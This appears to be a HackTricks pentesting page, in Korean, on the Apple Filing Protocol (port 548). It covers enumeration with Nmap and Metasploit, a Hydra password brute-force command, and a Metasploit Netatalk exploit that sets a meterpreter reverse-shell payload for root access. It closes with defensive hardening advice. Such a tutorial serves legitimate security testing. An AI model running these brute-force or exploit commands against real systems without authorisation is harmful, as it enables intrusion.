548 - Pentesting Apple Filing Protocol (AFP)
Reading time: 5 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
Apple Filing Protocol (AFP)는 한때 AppleTalk Filing Protocol로 알려졌던 전문 네트워크 프로토콜로, Apple File Service (AFS)에 포함되어 있습니다. 이 프로토콜은 macOS 및 클래식 Mac OS를 위한 파일 서비스를 제공하도록 설계되었습니다. AFP는 유니코드 파일 이름, POSIX 스타일 및 ACL 권한, 리소스 포크, 명명된 확장 속성 및 정교한 파일 잠금 메커니즘을 지원하는 점에서 두드러집니다.
비록 AFP는 현대 macOS 릴리스에서 SMB에 의해 대체되었지만 (OS X 10.9부터 SMB가 기본값), 여전히 다음과 같은 환경에서 발견됩니다:
- 레거시 macOS / Mac OS 9 환경
- 오픈 소스 Netatalk 데몬을 포함하는 NAS 장치 (QNAP, Synology, Western Digital, TrueNAS…)
- Time-Machine-over-AFP가 여전히 활성화된 혼합 OS 네트워크
기본 TCP 포트: 548 (TCP / DSI를 통한 AFP)
PORT STATE SERVICE
548/tcp open afp
Enumeration
Quick banner / server info
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
유용한 AFP NSE 스크립트:
스크립트 | 기능 |
---|---|
afp-ls | 사용 가능한 AFP 볼륨 및 파일 목록 표시 |
afp-brute | AFP 로그인에 대한 비밀번호 무차별 대입 |
afp-serverinfo | 서버 이름, 기계 유형, AFP 버전, 지원되는 UAM 등 덤프 |
afp-showmount | ACL과 함께 공유 목록 표시 |
afp-path-vuln | 디렉터리 탐색, CVE-2010-0533 감지(및 악용 가능) |
NSE 무차별 대입 스크립트는 더 많은 제어가 필요한 경우 Hydra/Medusa와 결합할 수 있습니다:
hydra -L users.txt -P passwords.txt afp://<IP>
공유와 상호작용
macOS
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
리눅스 (대부분의 배포판에 패키지된 afpfs-ng
사용)
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
한 번 마운트되면, 고전 Mac 리소스 포크는 숨겨진 ._*
AppleDouble 파일로 저장된다는 것을 기억하세요. 이러한 파일은 DFIR 도구가 놓치는 흥미로운 메타데이터를 종종 포함하고 있습니다.
일반적인 취약점 및 악용
Netatalk 인증되지 않은 RCE 체인 (2022)
여러 NAS 공급업체가 Netatalk ≤3.1.12를 배포했습니다. parse_entries()
에서 경계 검사 부족으로 인해 공격자가 악의적인 AppleDouble 헤더를 작성하고 인증 전에 원격 루트를 얻을 수 있습니다 (CVSS 9.8 – CVE-2022-23121). Western-Digital PR4100을 악용하는 PoC와 함께 NCC Group의 전체 작성물이 제공됩니다.
Metasploit (>= 6.3)는 DSI WRITE
를 통해 페이로드를 전달하는 모듈 exploit/linux/netatalk/parse_entries
를 포함하고 있습니다.
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
대상 시스템이 영향을 받는 QNAP/Synology 펌웨어를 실행하는 경우, 성공적인 익스플로잇은 root로서의 쉘을 제공합니다.
Netatalk OpenSession 힙 오버플로우 (2018)
구버전 Netatalk (3.0.0 - 3.1.11)은 DSI OpenSession 핸들러에서의 경계 초과 쓰기에 취약하여 인증되지 않은 코드 실행이 가능합니다 (CVE-2018-1160). Tenable Research에 의해 자세한 분석과 PoC가 발표되었습니다.
기타 주목할 만한 문제
- CVE-2022-22995 – AppleDouble v2가 활성화된 경우 (3.1.0 - 3.1.17) 임의 파일 쓰기 / RCE로 이어지는 심볼릭 링크 리디렉션.
- CVE-2010-0533 – Apple Mac OS X 10.6 AFP에서의 디렉토리 탐색 (
afp-path-vuln.nse
에 의해 탐지됨). - **Netatalk 4.x (2024)**에서 여러 메모리 안전성 버그가 수정되었습니다 – 개별 CVE를 패치하기보다는 업그레이드를 권장합니다.
방어 권장 사항
- AFP를 비활성화 하십시오. 엄격히 필요하지 않은 경우 – 대신 SMB3 또는 NFS를 사용하십시오.
- AFP를 유지해야 하는 경우, Netatalk를 ≥ 3.1.18 또는 4.x로 업그레이드 하거나 2022/2023/2024 패치를 백포트한 공급업체 펌웨어를 적용하십시오.
- 강력한 UAM(예: DHX2)을 시행하고, 평문 및 게스트 로그인을 비활성화하십시오.
- TCP 548을 신뢰할 수 있는 서브넷으로 제한하고, 원격으로 노출될 때 AFP를 VPN 내에 감싸십시오.
- 주기적으로
nmap -p 548 --script afp-*
로 CI/CD에서 스캔하여 불법 / 다운그레이드된 장비를 탐지하십시오.
Brute-Force
References
- Netatalk Security Advisory CVE-2022-23121 – "parse_entries에서의 임의 코드 실행" https://netatalk.io/security/CVE-2022-23121
- Tenable Research – "18년 된 버그 익스플로잇하기 (CVE-2018-1160)" https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.